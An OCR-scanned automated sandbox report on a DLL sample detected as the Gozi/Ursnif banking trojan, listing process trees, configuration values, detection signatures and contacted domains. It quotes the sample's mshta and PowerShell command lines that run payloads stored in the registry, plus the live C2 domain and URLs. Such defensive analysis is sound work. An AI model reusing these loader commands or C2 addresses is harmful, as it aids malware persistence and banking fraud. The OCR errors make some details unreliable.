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Analysis Report 6007d134e83fctar.dll
Overview

General Information Detection Signatures Classification

Sample 6007d134e83fctar.dll
Name: MALICIOUS

Analysis ID: 341938

Detected Gozi e-Banking trojan

Found malware configuration

MD5: . :
718cd91e1249f01. Sigma detected: Dot net compiler co...

SHAL €4073002667126.. Yara detected Ursnif

SHA256: 691fdaeb03dfa2b..

Compiles code for process injection ...

Tags: EnelEnergia

Most interesting Screenshot:

Creates a thread in another. existing ...

Hooks registry keys query functions...

Maps a DLL or memory area into an...

Gozi Ursn Modifies the context of a thread in a...
Score: 100 Madifies the export address table of...
Range: 0-100 Madifies the import address table of:...
Whitelisted: false
) Madifies the prolog of user mode fun...
Confidence: 100%

Startup

= System is w10x64

o B loaddli32.exe (PID: 4892 cmdline: loaddll32.exe 'C:\Users\user\Desktop\6007d134e83fctar.dll' MD5: 2D39D4DFDESF7151723794029AB8A034)
o B regsvr32.exe (PID: 4688 cmdline: regsvr32.exe /s C:\Users\user\Desktop\6007d134e83fctar.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
cmd.exe (PID: 2336 cmdline: C:\Windows\system32\cmd.exe /c 'C:\Program Files\Internet Explorer\iexplore.exe' MD5: F3BDBE3BB6F734E357235F4D5898582D)
. @ iexplore.exe (PID: 5660 cmdline: C:\Program Files\Internet Exploreniexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8SAC5E7596)

. @ iexplore.exe (PID: 5284 cmdline: 'C:\Program Files (x86)\Internet ExploreIEXPLORE.EXE' SCODEF:5660 CREDAT:17410 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)

. @ iexplore.exe (PID: 7064 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5660 CREDAT:17426 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)

. @ iexplore.exe (PID: 6316 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5660 CREDAT:17430 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)

. @ iexplore.exe (PID: 2996 cmdline: 'C:\Program Files (x86)\Internet ExploreIEXPLORE.EXE' SCODEF:5660 CREDAT:82968 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)

. @ iexplore.exe (PID: 6908 cmdline: 'C:\Program Files (x86)\Internet ExplorelEXPLORE.EXE' SCODEF:5660 CREDAT:17442 /prefetch:2 MD5:
071277CC2E3DF41EEEA8013E2AB58D5A)

. mshta.exe (PID: 5652 cmdline: 'C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>resize To(1,1);eval(new ActiveXObject("WScript.Shell').regread('HKCU\\\Softwa
re\AppDataLow\\Software\\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE\\Audiinrt));if('window.flag)close()</script>" MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)
o E¥ powershell.exe (PID: 4896 cmdline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Soft
ware\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CABOE').Barclers)) MD5: 95000560239032BC68B4C2FDFCDEF913)
. conhost.exe (PID: 4572 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1l MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
e W csc.exe (PID: 68 cmdline: 'C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\user\AppData\Local\Temp\crd40oh3\crd40oh
3.cmdline’ MD5: B46100977911A0C9FB1C3E5F16A5017D)

e B cvtres.exe (PID: 5772 cmdline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 '/OUT:C:\Users\user
\AppData\Local\Temp\RES8C67.tmp' ‘c:\Users\user\AppData\Local\Temp\crd400h3\CSC11E966FB2F624BF1AF64E9C63E9FBAC.TMP' MD5:
33BBBBEOB4F547324D93D5D2725CAC3D)

o B csc.exe (PID: 6948 cmdline: 'C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @'C:\Users\usen\AppData\Local\Temp\pzrffmak\pzrffma
k.cmdline’ MD5: B46100977911A0C9FB1C3E5F16A5017D)

e W cvtres.exe (PID: 7064 cmdline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /INOLOGO /READONLY /MACHINE:IX86 /OUT:C:\Users\user

\AppData\Local\Temp\RES9DO01.tmp' ‘c:\Users\user\AppData\Local\Temp\pzrffmak\CSCDD4D36881852409F9BC7C75CEAE11B9.TMP' MD5:
33BBBBEOB4F547324D93D5D2725CAC3D)

= cleanup

Malware Configuration

Threatname: Ursnif
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"server": "12",

"whoami": "user@494126hh",

"dns": "494126",

"version": "251173",

"uptime”: "170",

"ere": 2",

"id": "4355",

"user": "253fc4ee08f8d2d8cdc8873a98c9d714",
"soft": "3"

Yara Overview

Memory Dumps

Source

00000001.00000003.316329983.0000000004D88000.00000
004.00000040.sdmp

00000001.00000003.316516876.0000000004D88000.00000
004.00000040.sdmp

00000001.00000002.440594075.0000000004380000.00000
040.00000001.sdmp

00000001.00000003.371413612.0000000004B8C000.00000
004.00000040.sdmp

00000001.00000003.316461179.0000000004D88000.00000
004.00000040.sdmp

Sigma Overview

System Summary:

Rule

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

JoeSecurity_Ursnif

Sigma detected: Dot net compiler compiles file from suspicious location

Description Author Strings
Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Yara detected Joe Security

Ursnif

Click to see the 9 entries

Signature Overview

@

AV Detection:

Found malware configuration

Click to jump to signature section

Copyright null 2021

@ AV Detection

® Compliance

@ Spreading

@ Networking

@ Key, Mouse, Clipboard, Microphone and Screen Capturing
@ E-Banking Fraud

® System Summary

@ Data Obfuscation

@ Persistence and Installation Behavior

@ Hooking and other Techniques for Hiding and Protection
@ Malware Analysis System Evasion

@ Anti Debugging

@ HIPS / PFW / Operating System Protection Evasion

@ Language, Device and Operating System Detection

@ Stealing of Sensitive Information

@ Remote Access Functionality
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Compliance: | |

Uses 32bit PE files

Uses new MSVCR Dlls

Uses secure TLS version for HTTPS connections

Contains modern PE file flags such as dynamic base (ASLR) or NX

Binary contains paths to debug symbols

=

Key, Mouse, Clipboard, Microphone and Screen Capturing:

Yara detected Ursnif

E-Banking Fraud:

=

Detected Gozi e-Banking trojan

Yara detected Ursnif

]

System Summary:

Data Obfuscation:

]

]

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

HIPS | PFW | Operating System Protection Evasion:

Stealing of Sensitive Information:

Yara detected Ursnif

R

Remote Access Functionality:

Yara detected Ursnif

Mitre Att&ck Matrix
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Initial Privilege Credential Lateral Comm

Access Execution Persistence Escalation Defense Evasion Access Discovery Movement Collection  Exfiltration and Cc¢
Valid Windows DLL Side- DLL Side- Obfuscated Files or ~ Credential System Time Remote Archive Exfiltration Over Other  Ingres:
Accounts Management Loading Loading Information API Discovery Services Collected Network Medium Transf
Instrumentation Hooking Data
Default Native API Valid Valid Software Packing LSASS Account Discovery Remote Email Exfiltration Over Encryp
Accounts Accounts g§ Accounts Memory Desktop Collection g Bluetooth Chann
Protocol
Domain Command and Logon Script Access Token DLL Side-Loading Security File and Directory SMB/Windows Credential ~ Automated Exfiltration Non-
Accounts Scripting (Windows)  Manipulation Account Discovery Admin Shares API Applice
Interpreter Manager Hooking Layer
Protoc
Local PowerShell Logon Script Process Rootkit NTDS System Information Distributed Input Scheduled Transfer Applice
Accounts (Mac) Injection Discovery Component Capture Layer
Object Model Protoc
Cloud Cron Network Network Logon  Masquerading LSA Query Registry SSH Keylogging Data Transfer Size Fallbac
Accounts Logon Script Script Secrets Limits Chann
Replication Launchd Rc.common Rc.common Valid Accounts Cached Security Software VNC GUI Input Exfiltration Over C2 Multibe
Through Domain Discovery Capture Channel Comm
Removable Credentials
Media
External Scheduled Task  Startup Startup Items Access Token DCSync Virtualization/Sandbox Windows Web Portal  Exfiltration Over Comm
Remote Items Manipulation Evasion Remote Capture Alternative Protocol Used F
Services Management
Drive-by Command and Scheduled  Scheduled Virtualization/Sandbox Proc Process Discovery Shared Credential Exfiltration Over Applice
Compromise Scripting Task/Job Task/Job Evasion Filesystem Webroot API Hooking Symmetric Encrypted Layer |
Interpreter Non-C2 Protocol
Exploit PowerShell At (Linux) At (Linux) Process letc/passwd Application Window  Software Data Staged Exfiltration Over Web P
Public- Injection and Discovery Deployment Asymmetric Encrypted
Facing letc/shadow Tools Non-C2 Protocol
Application
Supply AppleScript At At (Windows) Regsvr32 Network System Owner/User  Taint Shared Local Data  Exfiltration Over File Tr:
Chain (Windows) Sniffing Discovery Content Staging Unencrypted/Obfuscated Protoc
Compromise Non-C2 Protocol

Behavior Graph
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Screenshots

Thumbnails
This section contains all screenshots as thumbnails, including those not shown in the slideshow.

No bigger version No bigger version No bigger version No bigger version No bigger version No bigger version

No bigger version

No bigger version
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A hitps: w.msn.com/de-ch/7acidziehp ~ @ & || Search...

A MSN Schweiz | Sign in Hot...

Microsoft tritt fiir den Schutz lhrer Privatsphdre ein.

Microsoft und unsere Drittanbieter verwenden Cookies, um Informationen wie eindeutige IDs zu speichern und darauf zuzugreifen,
sodass unsere Dienste und Werbeanzeigen bereitg; verwaltet und verbessert werden kannen. Wenn Sie zustimmen,
personalisieren MSN die angezeigten Inhalte und Anzeigen. Sie kénnen 'Akzeptieren' auswahlen, um dieser Verwendung
Zuzustimmen, oder auf ‘Zwecke anzeigen® Klicken, um Ihre Optionen zu iiberpriifen. Sie kénnen Ihre Auswahl unter ‘Einstellungen
verwalten' unten auf dieser Seite 4ndem. Datenschutzerkidrung.

‘Wir und unsere Partner verarbeiten Daten, um Folgendes bereitzustellen:

Genaue Standortdaten verwenden. Gerateeigenschaften zur Identifikation aktiv abfragen. Informationen auf einem Gerat speichern
und/oder abrufen. Personalisierte Anzeigen und Inhalte, Anzeigen- und Inhaltsmessung, Erkenntnisse Giber Zielgruppen und
Produktentwicklung.

Liste der Partner (Anl

Zwecke anzeigen |}

Turn on Windows

Q) Type here to search i =

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Unpacked PE Files

Source Detection Scanner Label Link Download
1.2.regsvr32.exe.8d0000.1.unpack 100% Avira HEUR/AGEN.1108168 Download File
Domains

Source Detection Scanner Label Link
tls13.taboola.map.fastly.net 0% Virustotal Browse
lopppooole.xyz 4% Virustotal Browse
1.0.0.127.in-addr.arpa 0% Virustotal Browse
img.img-taboola.com 1% Virustotal Browse

URLs
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https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1609243559
https://www.virustotal.com/gui/url/e483ec94be91e5fbbcd55a05dc0c6e10cf89e72aa22db3a8ce9d20650d7c7a2d/detection/u-e483ec94be91e5fbbcd55a05dc0c6e10cf89e72aa22db3a8ce9d20650d7c7a2d-1611079332
https://www.virustotal.com/gui/url/7615357104ed708d5291437f18325f3d9ce242d038b0ed856150e9063c72697f/detection/u-7615357104ed708d5291437f18325f3d9ce242d038b0ed856150e9063c72697f-1608720648
https://www.virustotal.com/gui/url/98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714/detection/u-98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714-1610659903

Source
hitp://https://www.remixd.com/privacy_policy.html
hitp://https://www.remixd.com/privacy_policy.html
hitp://https://www.remixd.com/privacy_policy.html
hitp://https://onedrive.live.com;Fotos
hitp://constitution.org/usdeclar.txtC:
hitp://https://file://USER.ID%Iu.exe/upd

http:/f
lopppooole.xyz/manifest/9dBougJwDtiqZ/QQHMIVU_/2BhS1knkkKX_2FVufwZ0oyN/EbGuCLEAI8/Lnviy
VmU_2B

hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%

hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%

hitp://https://img.img-
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_sharpen%2Ch_311%2Cw_207%2Cc_fill%

hitp://pesterbdd.com/images/Pester.png
hitp://pesterbdd.com/images/Pester.png
hitp://pesterbdd.com/images/Pester.png
hitp://https://contoso.com/Icon
hitp://https://contoso.com/Icon
hitp://https://contoso.com/Icon

http:/f
lopppooole.xyz/manifest/vduANE3J_2Bc1JVCe/mGf1TVDsPI7d/IwOe5xT417F/rOdjERcwNagbl3/secUFu
GZN4k

hitp://https://bealion.com/politica-de-cookies
hitp://https://bealion.com/politica-de-cookies
hitp://https://bealion.com/politica-de-cookies
hitp://https://www.gadsme.com/privacy-policy/
hitp://https://www.gadsme.com/privacy-policy/
hitp://https://www.gadsme.com/privacy-policy/
hitp://https://portal.eu.numbereight. me/policies-license#software-privacy-notice
hitp://https://portal.eu.numbereight. me/policies-license#software-privacy-notice
hitp://https://portal.eu.numbereight. me/policies-license#software-privacy-notice
hitp://constitution.org/usdeclar.txt

http:/f
https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzepte/Daten_und_Technologien/Stroeer_SSP/
Downl

http:/f
https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzepte/Daten_und_Technologien/Stroeer_SSP/
Downl

http:/f
https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzepte/Daten_und_Technologien/Stroeer_SSP/
Downl

hitp://https://channelpilot.co.uk/privacy-policy
hitp://https://channelpilot.co.uk/privacy-policy
hitp://https://channelpilot.co.uk/privacy-policy
hitp://https://onedrive.live.com;OneDrive-App
hitp://https://contoso.com/License
hitp://https://contoso.com/License
hitp://https://contoso.com/License
hitp://https://www.admo.tv/en/privacy-policy
hitp://https://www.admo.tv/en/privacy-policy
hitp://https://www.admo.tv/en/privacy-policy

http:/f
lopppooole.xyz/manifest/9dBougJwDtiqZ/QQHMIVU_/2BhS1knkkKX_2FVufwZ0oyN/EbGUCLEAI8/Lnviy
VmU_2BJ7xAua/uY77q6VVLGV8/agEg6nrSIO8/ECAHQYy5W4nMbRU/WngAS3IMky7ngjR5nSGPQ/KOI7rt
KzY6PmM417S/PgkTHSMkne_2BL6/avNSLX3b9xZHhQcrwM/KqzdjJJ_2/BoGyL5Rb/hdm5SZ8.cnx

http:/f
lopppooole.xyz/manifest/vduANE3J_2Bc1JVCe/mGf1TVDsPI7d/IwOe5xT417F/rOdjERcwNagbl3/secUFu
GZN4k2hLpDAmQZ_/2B14CbUSwUpX_2Fi/39R3WtzGANArbeD/to_2F84kphfq2hxfRa/eViH_2Bcq/DU4Q
xfFAXEKLhh6ELbOS/LXfZS2VQbBBY XjDtBzf/l6HdWO2UjlqCLsIcJOFOPGY/_2FVMnTrB/_2B.cnx

http:/f
lopppooole.xyz/manifest/vZLKOd4IARH3Q_2BrO_/2FsO_2F2nRs6X20i1Zey6b/w_2BPzCyb9qWu/aUJj6fj
9/AoW

hitp://https://contoso.com/
hitp://https://contoso.com/
hitp://https://contoso.com/
hitp://https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"
hitp://https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"

hitp://https://mem.gfx.ms/meversion/?partner=msn&market=de-ch"
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Scanner

URL Reputation
URL Reputation
URL Reputation
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud
Avira URL Cloud

URL Reputation

URL Reputation

URL Reputation

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
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URL Reputation
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URL Reputation

URL Reputation
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Avira URL Cloud

Avira URL Cloud

URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation
URL Reputation

Label Link
safe
safe
safe
safe
safe
safe

safe

safe

safe

safe

safe
safe
safe
safe
safe
safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe

safe

safe
safe
safe
safe
safe
safe
safe
safe
safe
safe

safe

safe

safe

safe
safe
safe
safe
safe

safe
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Source Detection Scanner Label Link

hitp://https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe
hitp://https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe
hitp://https://www.bidstack.com/privacy-policy/ 0% URL Reputation safe

Domains and IPs

Contacted Domains

Name P Active Malicious Antivirus Detection Reputation
contextual.media.net 92.122.146.68 true false high
tls13.taboola.map.fastly.net 151.101.1.44 true false e 0%, Virustotal, Browse unknown
hblg.media.net 92.122.146.68 true false high
Ig3.media.net 92.122.146.68 true false high
resolverl.opendns.com 208.67.222.222 true false high
lopppooole.xyz 185.186.244.49 true false ® 4%, Virustotal, Browse unknown
web.vortex.data.msn.com unknown unknown false high
Wwww.msh.com unknown unknown false high
T 7 O = T S = 7=
srth.msn.com unknown unknown false high

cvision.media.net unknown unknown false high

Contacted URLs

Name Malicious Antivirus Detection Reputation

hitp:// false e Avira URL Cloud: safe unknown
lopppooole.xyz/manifest/9dBougJwDtiqZ/QQHMIVU_/2BhS1knkkKX_2FVufwZ0oyN/EbGuCL
EAI8/LnviyVmU_2BJ7xAua/uY77q6VVLGV8/agEg6nrSIO8/ECAHQy5W4nMbRU/wngAS3IMky
7ngjR5NSGPQ/KII7rtKzY6PmM417S/PgkTHSMkne_2BL6/avNSLX3b9xZHhQcrwM/KgzdjdJ_2/B

0GyL5Rb/hdm5SZ8.cnx

hitp:// false e Avira URL Cloud: safe unknown
lopppooole.xyz/manifest/vduANE3J_2Bc1JVCe/mGf1TVDsPI7d/lwOe5xT417F/rOdjERcwNagh
13/secUFUGZN4k2hLpDAmMQgZ_/2B14CbUSwUpX_2Fi/39R3WtzGANArbeD/to_2F84kphfg2hxf
Ra/eViH_2Bcq/DU4QxfFdXEk1hh6ELbOS/LXfZS2VQbBBYX|DtBzf/l6HdWO2UjlqCLsIcJOFOP

GY/_2FVMnTrB/_2B.cnx

URLs from Memory and Binaries

Name Source Malicious Antivirus Detection Reputation
hitp://searchads.msn.net/.cfm?&&kp=1& ~DF6EC85E7A5CABE297.TMP.3.dr false high
hitp://https://contextual.media.net/medianet.php? de-ch[1].htm.4.dr false high
cid=8CU157172

hitp://https://www.msn.com/de-ch/nachrichten/coronareisen de-ch[1].htm.4.dr false high
hitp://https://www.msn.com/de-ch/news/other/die- de-ch[1].htm.4.dr false high
steuererkl%c3%a4rung-wird-digital-wie-z%c3%bcrcherinnen-

und

hitp://https://www.remixd.com/privacy_policy.html iab2Data[1].json.4.dr false e URL Reputation: safe unknown

e URL Reputation: safe
e URL Reputation: safe

hitp://https://onedrive.live.com;Fotos 85-0f8009-68ddb2abl[1].js.4.dr false e Avira URL Cloud: safe low

hitp://constitution.org/usdeclar.txtC: regsvr32.exe, 00000001.0000000 false e Avira URL Cloud: safe unknown
2.440594075.0000000004380000.0
0000040.00000001.sdmp, powersh
ell.exe, 00000020.00000003.428
145674.000001AE5B310000.000000
04.00000001.sdmp

hitp://https://file://USER.ID%Iu.exe/upd regsvr32.exe, 00000001.0000000 false e Avira URL Cloud: safe low
2.440594075.0000000004380000.0
0000040.00000001.sdmp, regsvr32.exe,
00000001.00000003.428887884.00000
00000950000.00000004.00000001.
sdmp, powershell.exe, 00000020
.00000003.428145674.000001AE5B
310000.00000004.00000001.sdmp

hitp://https://www.onenote.com/notebooks? de-ch[1].htm.4.dr false high
WT.mc_id=MSN_OneNote_TopMenu&auth=1&wdorigin=msn

hitp://https://office.live.com/start/Word.aspx? 85-0f8009-68ddb2abl[1].js.4.dr false high
WT.mc_id=MSN_site;Excel
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https://www.virustotal.com/gui/url/34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112/detection/u-34d7a5628cd38966e8a7512b50ed594ea59c1e81eb029dde41d339efc420d112-1609243559
https://www.virustotal.com/gui/url/e483ec94be91e5fbbcd55a05dc0c6e10cf89e72aa22db3a8ce9d20650d7c7a2d/detection/u-e483ec94be91e5fbbcd55a05dc0c6e10cf89e72aa22db3a8ce9d20650d7c7a2d-1611079332
https://www.virustotal.com/gui/url/7615357104ed708d5291437f18325f3d9ce242d038b0ed856150e9063c72697f/detection/u-7615357104ed708d5291437f18325f3d9ce242d038b0ed856150e9063c72697f-1608720648
https://www.virustotal.com/gui/url/98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714/detection/u-98e5377999130bb0b8ff8905a4828ca4dfa539c112e65f1692c2046b0fa0a714-1610659903

Name Source Malicious Antivirus Detection Reputation
hitp://fogp.me/ns/fb# de-ch[1].htm.4.dr false high

hitp://https://www.awinl.com/cread.php? de-ch[1].htm.4.dr false high
awinmid=15168&awinaffid=696593&clickref=de-ch-ss&ued=htt

hitp://https://www.msn.com/de-ch/news/other/meta-hiltebrand- de-ch[1].htm.4.dr false high
prangert-anonymen-hassbrief-an/ar-BB1cTIJHG?ocid

hitp://https://www.msn.com/de- de-ch[1].htm.4.dr false high
ch/news/other/j%c3%bcdisches-online-treffen-mit-hitler-und-
porno-bildern-gest

hitp://https://outlook.live.com/mail/deeplink/compose;Kalender  85-0f8009-68ddb2abl[1].js.4.dr false high

hitp://https://res- ~DF6EC85E7A5CABE297.TMP.3.dr false high
a.akamaihd.net/__media__/pics/8000/72/941/fallbackl.jpg

hitp://https://www.skyscanner.net/g/referrals/vl/cars/home? de-ch[1].htm.4.dr false high
associateid=API_B2B_19305_00002

hitp://https://www.onenote.com/notebooks? 85-0f8009-68ddb2ab[1].js.4.dr false high
WT.mc_id=MSN_OneNote_Recent&auth=1&wdorigin=msn

hitp://https://nuget.org/nuget.exe powershell.exe, 00000020.00000 false high
002.455907331.000001AE52B31000
.00000004.00000001.sdmp

hitp:// {DD24AED3-5B36-11EB-90E4-ECF4B false e Avira URL Cloud: safe unknown
lopppooole.xyz/manifest/9dBougJwDtiqZ/QQHMIVU_/2BhS1k B862DED}.dat.3.dr
nkkKX_2FVufwZ0oyN/EbGuCLEAI8/LnviyVmU_2B

hitp://https://web.vortex.data.msn.com/collect/v1l de-ch[1].htm.4.dr false high

hitp://schemas.xmlsoap.org/ws/2005/05/identity/claims/name  powershell.exe, 00000020.00000 false high
002.435921934.000001AE42AD1000
.00000004.00000001.sdmp

hitp:/fiwww.reddit.com/ msapplication.xml4.3.dr false high
hitp://https://www.skype.com/ de-ch[1].htm.4.dr false high
hitp://https://img.img- auction[1].htm.4.dr false e URL Reputation: safe unknown
taboola.com/taboola/image/fetch/f_jpg%2Cq_auto%2Ce_shar e URL Reputation: safe
pen%2Ch_311%2Cw_207%2Cc_fill% e URL Reputation: safe
hitp://https://sp.booking.com/index.html? de-ch[1].htm.4.dr false high
aid=1589774&label=travelnavlink
hitp://https://www.msn.com/de-ch/nachrichten/regional de-ch[1].htm.4.dr false high
hitp://pesterbdd.com/images/Pester.png powershell.exe, 00000020.00000 false e URL Reputation: safe unknown
003.432706783.000001AE5AF32000 e URL Reputation: safe
.00000004.00000001.sdmp, power e URL Reputation: safe

shell.exe, 00000020.00000002.4
36229660.000001AE42CDF000.0000

0004.00000001.sdmp
hitp://https://onedrive.live.com/?qt=allmyphotos;Aktuelle 85-0f8009-68ddb2ab[1].js.4.dr false high
hitp://www.apache.org/licenses/LICENSE-2.0.html powershell.exe, 00000020.00000 false high

003.432706783.000001AE5AF32000
.00000004.00000001.sdmp, power
shell.exe, 00000020.00000002.4
36229660.000001AE42CDF000.0000

0004.00000001.sdmp
hitp://https://amzn.to/2TTxhNg de-ch[1].htm.4.dr false high
hitp://https://www.skype.com/go/onedrivepromo.download? 85-0f8009-68ddb2ab[1].js.4.dr false high
cm_mmc=MSFT_2390_MSN-com
hitp://https://client-s.gateway.messenger.live.com 85-0f8009-68ddb2ab[1].js.4.dr false high
hitp://https://www.brightcom.com/privacy-policy/ iab2Data[1].json.4.dr false high
hitp://https://contoso.com/Icon powershell.exe, 00000020.00000 false e URL Reputation: safe unknown
002.455907331.000001AE52B31000 e URL Reputation: safe
.00000004.00000001.sdmp e URL Reputation: safe
hitp://https://www.msn.com/de-ch/ de-ch[1].htm.4.dr false high
hitp://https://office.live.com/start/PowerPoint.aspx? 85-0f8009-68ddb2ab[1].js.4.dr false high
WT.mc_id=MSN_site
hitp:// {DD24AED5-5B36-11EB-90E4-ECF4B  false e Avira URL Cloud: safe unknown

lopppooole.xyz/manifest/vduANE3J_2Bc1JVCe/mGf1TVDsPI7 B862DED}.dat.3.dr
d/lwOe5xT417F/rOdjERcwNagbl3/secUFUGZN4k

hitp://https://www.msn.com/de-ch/?ocid=iehpC ~DF6EC85E7A5CABE297.TMP.3.dr false high
hitp://https://contextual.media.net/medianet.php? ~DF6EC85E7A5CABE297.TMP.3.dr false high
cid=8CU157172&crid=858412214&size=306x271&https=1

hitp://https://www.awinl.com/cread.php? de-ch[1].htm.4.dr false high
awinmid=15168&awinaffid=696593&clickref=de-ch-edge-dhp-

river

hitp://https://bealion.com/politica-de-cookies iab2Data[1].json.4.dr false e URL Reputation: safe unknown

e URL Reputation: safe
e URL Reputation: safe

hitp://https://www.msn.com/de-ch de-ch[1].htm.4.dr false high

hitp://https://click.linksynergy.com/deeplink? de-ch[1].htm.4.dr false high
id=xoqYgl4JDe8&mid=46130&ul=dech_mestripe_store&m

hitp://https://twitter.com/i/notifications;lch 85-0f8009-68ddb2ab[1].js.4.dr false high
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Name

hitp://https://www.awinl.com/cread.php?
awinmid=11518&awinaffid=696593&clickref=dech-edge-dhp-

infopa

hitp://https://www.gadsme.com/privacy-policy/

hitp://https://github.com/Pester/Pester

hitp://https://portal.eu.numbereight. me/policies-

licensettsoftware-privacy-notice

hitp://https://contextual.media.net/medianet.php?
cid=8CU157172&crid=722878611&size=306x271&http

hitp://constitution.org/usdeclar.txt

hitp://https://www.sway.com/?

WT.mc_id=MSN_site&utm_source=MSN&utm_medium=Topn

av&utm_campaign=link;PowerPoin

hitp://https://www.msn.com/de-ch/?

ocid=iehp&item=deferred_page%3al&ignorejs=webcore%2fm

odules%2fjsh
hitp://www.youtube.com/

hitp:/fogp.me/ns#

hitp://https://docs.prebid.org/privacy.html

hitp://https://onedrive.live.com/?qt=mru;OneDrive-App

hitp://https://www.skype.com/de

hitp://https://sp.booking.com/index.html?

aid=1589774&label=dech-prime-hp-me

hitp://https://www.skype.com/de/download-skype

http:/f

https://www.stroeer.de/fileadmin/de/Konvergenz_und_Konzept
e/Daten_und_Technologien/Stroeer_SSP/Downl

hitp://https://onedrive.live.com/?

wt.mc_id=00_msn_msnhomepage_header
hitp://www.hotmail.msn.com/pii/ReadOutlookEmail/

hitp://https://channelpilot.co.uk/privacy-policy

hitp://https://onedrive.live.com;OneDrive-App

hitp://https://click.linksynergy.com/deeplink?
id=xoqYgl4JDe8&mid=46130&ul=dech_mestripe_office&

hitp://https://contoso.com/License

http:/f

https://geolocation.onetrust.com/cookieconsentpub/v1/geo/loc

ation

hitp://www.amazon.com/

hitp://https://www.onenote.com/notebooks?
WT.mc_id=MSN_OneNote_QuickNote&auth=1

hitp:/fiwww.twitter.com/

hitp://https://office.live.com/start/Excel.aspx?

WT.mc_id=MSN_site;Sway

hitp://https://www.admo.tv/en/privacy-policy

http:/f

https://www.bet365affiliates.com/Ul/Pages/Affiliates/Affiliates.a

spx?ContentPath

hitp://https://cdn.cookielaw.org/vendorlist/googleData.json

http:/f

lopppooole.xyz/manifest/vZLKOd4IARH3Q_2BrO_/2FsO_2F2n {DD24AED7-5B36-11EB-90E4-ECF4B
Rs6X20i1Zey6b/w_2BPzCyh9qWu/aUJj6fj9/AoW

hitp://https://outlook.com/

hitp://https://rover.ebay.com/rover/1/5222-53480-19255-0/1?
mpre=https%3A%2F%2Fwww.ebay.ch&campid=533862

hitp://https://contextual.media.net/checksync.php?
&vsSync=1&cs=1&hb=1&cv=37&ndec=1&cid=8HBI57XIG&prv

id=77%2
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Source

de-ch[1].htm.4.dr

iab2Data[1].json.4.dr

powershell.exe, 00000020.00000
003.432706783.000001AE5AF32000
.00000004.00000001.sdmp, power
shell.exe, 00000020.00000002.4
36229660.000001AE42CDF000.0000
0004.00000001.sdmp

iab2Data[1].json.4.dr

de-ch[1].htm.4.dr

regsvr32.exe, powershell.exe,
00000020.00000003.428145674.00
0001AE5B310000.00000004.000000
01.sdmp

85-0f8009-68ddb2abl[1].js.4.dr

de-ch[1].htm.4.dr

msapplication.xml7.3.dr
de-ch[1].htm.4.dr
iab2Data[1].json.4.dr
85-0f8009-68ddb2ab[1].js.4.dr
85-0f8009-68ddb2ab[1].js.4.dr
de-ch[1].htm.4.dr

85-0f8009-68ddb2ab[1].js.4.dr
iab2Data[1].json.4.dr

de-ch[1].htm.4.dr

85-0f8009-68ddb2ab[1].js.4.dr
iab2Data[1].json.4.dr

85-0f8009-68ddb2ab[1].js.4.dr
de-ch[1].htm.4.dr

powershell.exe, 00000020.00000
002.455907331.000001AE52B31000
.00000004.00000001.sdmp

55a804ab-e5¢c6-4h97-9319-86263d
365d28[1].json.4.dr

msapplication.xml.3.dr

85-0f8009-68ddb2abl[1].js.4.dr

msapplication.xml5.3.dr

85-0f8009-68ddb2abl[1].js.4.dr

iab2Data[1].json.4.dr

iab2Data[1].json.4.dr

55a804ab-e5¢c6-4h97-9319-86263d
365d28[1].json.4.dr

~DFAC57DF82C221FA30.TMP.3.dr,

B862DED}.dat.3.dr
